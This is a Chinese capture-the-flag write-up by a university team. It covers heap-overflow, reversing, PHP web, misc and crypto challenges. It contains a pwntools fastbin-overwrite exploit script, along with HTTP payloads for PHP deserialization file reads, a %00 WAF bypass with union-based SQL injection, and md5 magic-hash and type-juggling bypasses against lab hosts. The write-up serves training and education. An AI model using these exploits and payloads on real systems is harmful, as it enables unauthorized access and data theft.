PWN
magicheap
程序给了一个cat flag
触发条件隐藏的4869功能，当magic>0x1305时触发读flag
接下来就是想办法让magic>0x1305
漏洞点在edit函数中，编辑内容时候，size我们可以任意，但是堆块的大小在creat的时候就已经固定，这里的size能产生堆溢出
利用magic上面的stdin，是个0x7fXXXXXXXX的地址，把0x6020ad当成伪造堆块
利用fsatbin的fd修改来实现将0x70大小的堆块分配到在这里
如果题目没有给这么个magic，没有给libc，要去shell就没这么容易了
from pwn import *
context.log_level = ‘debug’#p = process(‘./magicheap’)p = remote(‘192.168.200.200’,40001)def new(size,content):
p.recvuntil(‘Your choice :’)
p.sendline(‘1’)
p.recvuntil(‘Heap : ‘)
p.sendline(str(size))
p.recvuntil(‘heap:’)
p.sendline(content)
def edit(idx,size,content):
p.recvuntil(‘Your choice :’)
p.sendline(‘2’)
p.recvuntil(‘Index :’)
p.sendline(str(idx))
p.recvuntil(‘Heap : ‘)
p.sendline(str(size))
p.recvuntil(‘heap : ‘)
p.sendline(content)def free(idx):
p.recvuntil(‘Your choice :’)
p.sendline(‘3’)
p.recvuntil(‘Index :’)
p.sendline(str(idx))
new(0x60,’a’0x5f)
new(0x60,’a’0x5f)
new(0x60,’a’0x5f)
new(0x60,’a’0x5f)
new(0x60,’a’0x5f)
new(0x60,’a’0x5f)
free(1)
free(2)
edit(0,0x200,’a’0x60 + p64(0) + p64(0x71) + ‘a’0x60 + p64(0) + p64(0x71) + p64(0x6020ad))
new(0x60,’a’0x5f)
new(0x60,’a’0x5f)#gdb.attach(p)p.interactive()win逆向
简单的读取，比较
大概就是，你的输入input，程序内置byte_415768,内置一个数组v9
前17有input[i] = byte_415768[v9[i]],再后面几位是 1024} 就可以了
这个提取随便写下，但是当时没注意这个17，v9数组有22全提了再加 1024}，后来队友提醒。
WEB
theuserisadmin
源代码
<!--
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];if(isset($user)&&(file_get_contents($user,'r')==="the user is admin")){ echo "hello admin!<br>"; include($file); //class.php}else{ echo "you are not admin ! ";
}
-->通过php伪协议读文件
index.php
<?php$user = $_GET[“user”];
$file = $_GET[“file”];
$pass = $_GET[“pass”];if(isset($user)&&(file_get_contents($user,’r’)===”the user is admin”)){ echo “hello admin!<br>“; if(preg_match(“/f1a9/“,$file)){ exit();
}else{ include($file); //class.php
$pass = unserialize($pass); echo $pass;
}
}else{ echo “you are not admin ! “;
}?><!--
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];if(isset($user)&&(file_get_contents($user,'r')==="the user is admin")){ echo "hello admin!<br>"; include($file); //class.php}else{ echo "you are not admin ! ";
}
-->
class.php
<?phpclass Read{//f1a9.php
public $file; public function toString(){ if(isset($this->file)){ echo file_get_contents($this->file);
} return “toString was called!”;
}
}?>最后payload
POST
/web/theuserisadmin/?user=php://input&file=class.php&pass=O%3A4%3A%22Read%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22f1a9.php%22%3B%7D
HTTP/1.1
Host: 192.168.200.200
Content-Type: application/x-www-form-urlencoded
Content-Length: 17
the user is adminwaf
扫描一波文件 www.zip ok, 代码审计
function.php
function filtering($str) {
$check= eregi(‘select|insert|update|delete|’|/*|*|../|./|union|into|load_file|outfile’, $str); if($check)
{ echo “非法字符!”; exit();
}
…..
}eregi 使用 %00过掉
content.php 里面直接拼接给的参数
<?phpinclude ‘./global.php’;
extract($_REQUEST);
$sql = “select * from test.content where id=$message_id”;
payload
POST /web/waf/content.php
HTTP/1.1
Host: 192.168.200.200
Connection: close
Content-Type: multipart/form-data; boundary=————2049511993
Content-Length: 138—————2049511993
Content-Disposition: form-data; name=”message_id””%00” union select 1,2,flag,4 from flag—————2049511993—codeaudit
.svn 泄露
<?phperror_reporting(0);
$user = $_COOKIE[‘user’];
$code = $_GET[‘code’]?(int)$_GET[‘code’]:’’;if($user == ‘admin’ && !empty($code)) {
$hex = (int)$code;
if(($hex ^ 6789) === 0xCDEF) { require("flag.php"); echo $flag; exit();
}
}echo “ȱ��Ӧ�еIJ���,��û��Ȩ�鿴������”;?>很简单
payload
GET /web/codeaudit/?code=55146
HTTP/1.1
Host: 192.168.200.200
Cookie: user=admin
Connection: closebase lanauage
直接给源码
<?php showsource(_FILE);
$a=0;
$b=0;
$c=0;
$d=0;
if (isset($_GET[‘x1’]))
{
$x1 = $_GET[‘x1’];
$x1==”1”?die(“ha?”):NULL;
switch ($x1)
{
case 0:
case 1:
$a=1;
break;
}
}
$x2=(array)json_decode(@$_GET[‘x2’]);
if(is_array($x2)){
is_numeric(@$x2[“x21”])?die(“ha?”):NULL;
if(@$x2[“x21”]){
($x2[“x21”]>2017)?$b=1:NULL;
}
if(is_array(@$x2[“x22”])){
if(count($x2[“x22”])!==2 OR !is_array($x2[“x22”][0])) die(“ha?”);
$p = array_search(“XIPU”, $x2[“x22”]);
$p===false?die(“ha?”):NULL;
foreach($x2[“x22”] as $key=>$val){
$val===”XIPU”?die(“ha?”):NULL;
}
$c=1;
}
}
$x3 = $_GET[‘x3’];
if ($x3 != ‘15562’) {
if (strstr($x3, ‘XIPU’)) {
if (substr(md5($x3),8,16) == substr(md5(‘15562’),8,16)) {
$d=1;
}
}
}
if($a && $b && $c && $d){
include “flag.php”;
echo $flag;
}
?>php 弱类型 和 array_search 比较的问题
下面的md5
$ php -R “echo substr(md5(‘15562’),8,16);”0e46379442318098是0e[0-9] 在php中数字比较会变成0
所以找到另一个也是这样的格式的md5串就好了
import hashlibimport re
i = 0reg = re.compile(‘.{8}0e[0-9]{14}.{8}’)while True:
s = ‘XIPU’ + str(i)
md5 = hashlib.md5()
md5.update(s.encode(‘ascii’)) if reg.match(md5.hexdigest()):
print(md5.hexdigest(), s) break
i = i + 1payload
GET /web/bestlanguage/?x1=true&x2={“x21”:”2018a”,”x22”:[[],true]}&x3=XIPU18570
HTTP/1.1
Host: 192.168.200.200
Connection: close
MISC
reverseMe
打开文件发现有
swodniW( 6SC pohsotohP ebodA
with open(‘reverseMe.txt’) as f:
data = f.read() with open(‘output.png’, ‘wb’) as f:
f.write(data[::-1])得到这个图片
流量审计
关键词 theflag 二分法爆破
耐心一条一条分析就ok
52c6f1d6
crypto
brightstar
snkeegt fhstetr Iedsabs tnaktrt otessha iiriwis tethees
key： howarey
Columnar Transposition Cipher
提示 Columnar Transposition Cipher
key 和 ctf-wiki 里面的例子一样.直接手动解析
Itisofteninthedarkestskipsthatweseebrighteststars
这是啥呀
打开 解base32
import base64>>>
base64.b32decode(‘MZWGCZ33MM4GENJVHBRDSNJUGAYTSOBVGZTDAYRQGIZTINLEMMZTSNJVHBRX2===’)b’flag{c8b558b954019856f0b02345dc39558c}’
>>>注：解题报告由获得特等奖的福州大学SIOR战队（指导老师：何萧玲）提供
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